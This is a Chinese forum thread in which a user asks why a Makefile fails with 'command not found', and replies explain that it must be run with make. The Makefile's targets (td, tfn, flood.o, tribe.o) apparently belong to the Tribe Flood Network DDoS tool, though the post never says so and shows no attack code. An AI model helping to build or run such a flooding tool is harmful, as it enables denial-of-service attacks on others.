linux使用make命令编译错误,有关linux的make文件编译问题
我现在编译一个linux下的软件包,一周前编译还可以,但是现在却无法编译了,提示很多错误,但是这些错误觉得又不错误,对make如何管理又不是很了解,请高手指点一下。
Makefile文件内容如下(比较长,请耐心看一看):
# Linux / *BSD* / Others
CC = gcc
CFLAGS = -Wall -O3
CLIBS =
SERVER_OBJ = pass.o aes.o base64.o cast.o flood.o ip.o process.o tribe.o td.o
CLIENT_OBJ = pass.o aes.o base64.o cast.o ip.o tribe.o tfn.o
all: td tfn
clean:
@echo removing junk...
@rm -f tfn td mkpass disc pass.c *.exe *.o *~
tfn:agreed ${CLIENT_OBJ}
${CC} ${CFLAGS} ${CLIBS} ${CLIENT_OBJ} -o tfn
strip tfn
td:agreed ${SERVER_OBJ}
${CC} ${CFLAGS} ${CLIBS} ${SERVER_OBJ} -o td
strip td
agreed: disc
./disc
pass.c:mkpass
./mkpass
war:
@echo ...not love!
在命令行下输入./Makefile,出现错误如下:
/Makefile: line 2:CC:command not found
/Makefile: line 3:CFLAGS:command not found
/Makefile: line 4:CLIBS:command not found
/Makefile: line 5:CLIBS:command not found
/Makefile: line 7:SERVER_OBJ:command not found
/Makefile: line 8:CLIENT_OBJ:command not found
........
其中的CC应该是宏定义,即调用gcc编译器,此处该命令提示找不到,可以我在命令行下直接运行gcc却是没问题的。我对make不是很熟悉,网上一些资料解释不是很详细,请高手指点一下如何解决。
|
不能直接运行Makefile,要用make命令
|
楼上说得没错。
开发必备技能: 懂得google搜索自己想要的东西
|
看来楼主还是不太懂Makefile
|
如果只是为了在编译过程中互动的话,换个思路,
大可以再写多一个专门互动的程序,放于makefile中需要输入密码的程序之前运行,
这样的许,运行 make 也可以有互动的过程了。
linux使用make命令编译错误,有关linux的make文件编译问题相关推荐
- linux下sort命令使用详解---linux将文本文件内容加以排序命令
转载自:http://www.cnblogs.com/hitwtx/archive/2011/12/03/2274592.html linux下sort命令使用详解---linux将文本文件内容加以排 ...
- linux下测试ftp传输,linux下ftp命令使用详解---linux文件传输ftp命令
linux下ftp命令使用详解---linux文件传输ftp命令 上一篇 / 下一篇 2010-12-18 09:15:35 / 个人分类:Linux ftp(file transfer proto ...
- linux vi 移动光标,linux中vi命令的光标移动操作linux网页制作 -电脑资料
分享一篇关于linux中vi命令的光标移动操作的文章,有需要的朋友可以参考一下, 全屏幕文本编辑器中, 光标的移动操作无疑是最经常使用的操作了.用户只有熟练地使用移动光标的这些命令,才能迅速准确地到达 ...
- linux中du命令参数的用法,linux中du命令参数及df命令和dd命令介绍
本文详细介绍了linux中du命令参数及df命令和dd命令的使用方法,并对之进行了举例说明. linux中df命令参数 linux中df命令参数功能:检查文件系统的磁盘空间占用情况.可以利用该命令来获 ...
- linux下使用命令将doc、docx、ppt文件转成转换图片文件
linux下使用命令将doc.docx.ppt文件转成pdf格式 解决方案分成两步: 安装unoconv 安装imagemagick 将word文档转换成pdf格式 将pptx文档转换成pdf格式 将 ...
- linux 内核模块 编译错误 include/linux/mmzone.h:18:26: fatal error: linux/bounds.h: No such file or director
解决方案:内核编译后 不要执行make clean 出现的问题:编译的时候提示缺少头文件 mmzone.h ....bounds.h...等 include/linux/mmzone.h:18:26: ...
- 【Linux】在命令行中查看Linux内核版本的几种方法
如何知道自己的系统使用哪个Linux内核版本?以下是在Linux终端中检查内核版本的几种方法. 如何找到Linux内核版本 1.使用uname命令查找Linux内核 uname是用于获取系统信息的Li ...
- linux系统md5sum命令用不了,Linux中md5sum命令起什么作用呢?
摘要: 下文讲述Linux中md5sum命令的功能说明,如下所示: md5sum命令功能: 用于为一个文件生成其内容的MD5值, 此命令的原理是对文件的内容进行校验, 生成文件内容的MD5值 此方式常 ...
- linux强制退出命令行_在Linux命令行上使用强制
linux强制退出命令行 在最近的历史上的某个时候,科幻家们于5月4日开始了年度庆祝星际大战的庆典,这是对绝地的祝福:"愿原力与你同在". 尽管大多数Linux用户可能不是绝地武士 ...
- linux中touch命令如何使用方法,Linux系统下touch命令的使用方法
你还在为不知道linux系统下touch命令的使用方法而不知所措么?下面来是答-案-网 Z Qnf.Com小编为大家收集的linux系统下touch命令的使用方法,欢迎大家阅读: linux系统下to ...
最新文章
- php跳过当前后续代码,PHP用continue跳过本次循环中剩余代码的注意点
- UIAutomator 2
- AutoML Vision教程:训练模型解决计算机视觉问题,准确率达94.5%
- OPTEETrusted Application结构分析
- 【Swift学习笔记-《PRODUCT》读书记录-实现自定义转场动画】
- 2018年开发者生态体系状态调查报告(第一部分)
- python地图散点图_Python中基于Basemap的三维散点图
- c语言中的运算符按位或,|按位或运算符
- VC连接SQLite3的方法 MFC封装类
- android9获取蓝牙地址,Android获取本机蓝牙地址
- wow服务器文件夹,《60级魔兽世界WTFWDB文件夹全解析 by Qcat》
- 秋招总结--来自一枚2020届普通本科生的回顾
- Android中连接MQTT服务器实现订阅主题并接收消息推送在通知栏显示(附代码下载)
- python中文分句_Python 中文分句
- 华纳媒体将持有拉美和加勒比海西班牙语地区HBO品牌服务的全部所有权,包括所有HBO、MAX、Cinemax和HBO Go服务
- [MySQL][ODBC 3.51 Driver][mysqld-5.5.37-log]Table 'ldk2.T_User' doesn't exist问题解决
- 什么是多态?为什么用多态?有什么好处?[转]
- hihoCoder 买零食
- led显示屏十大品牌
- PTA 7-85 根据输入的空气污染指数,输出相应的信息。
热门文章
- 设备像素比+图片高清显示+移动适配
- 三个可替代“迅雷”的下载软件,速度超快!
- 职业选手cfg文件怎么用_游戏id不会取?看看职业选手怎么取id吧!都是满满的干货...
- java系列之redis基础
- 跟i9处理器差不多的服务器芯片,AMD下一代服务器处理器代号“星河舰队”
- Java 中对象数组的简单存入与取出
- 笛卡尔的思维法则(数学思维的规范)
- 夕阳西下,天空燃烧着一片橘红色的晚霞
- 实现 3D 时间动画展示效果
- Ext grid columns隐藏列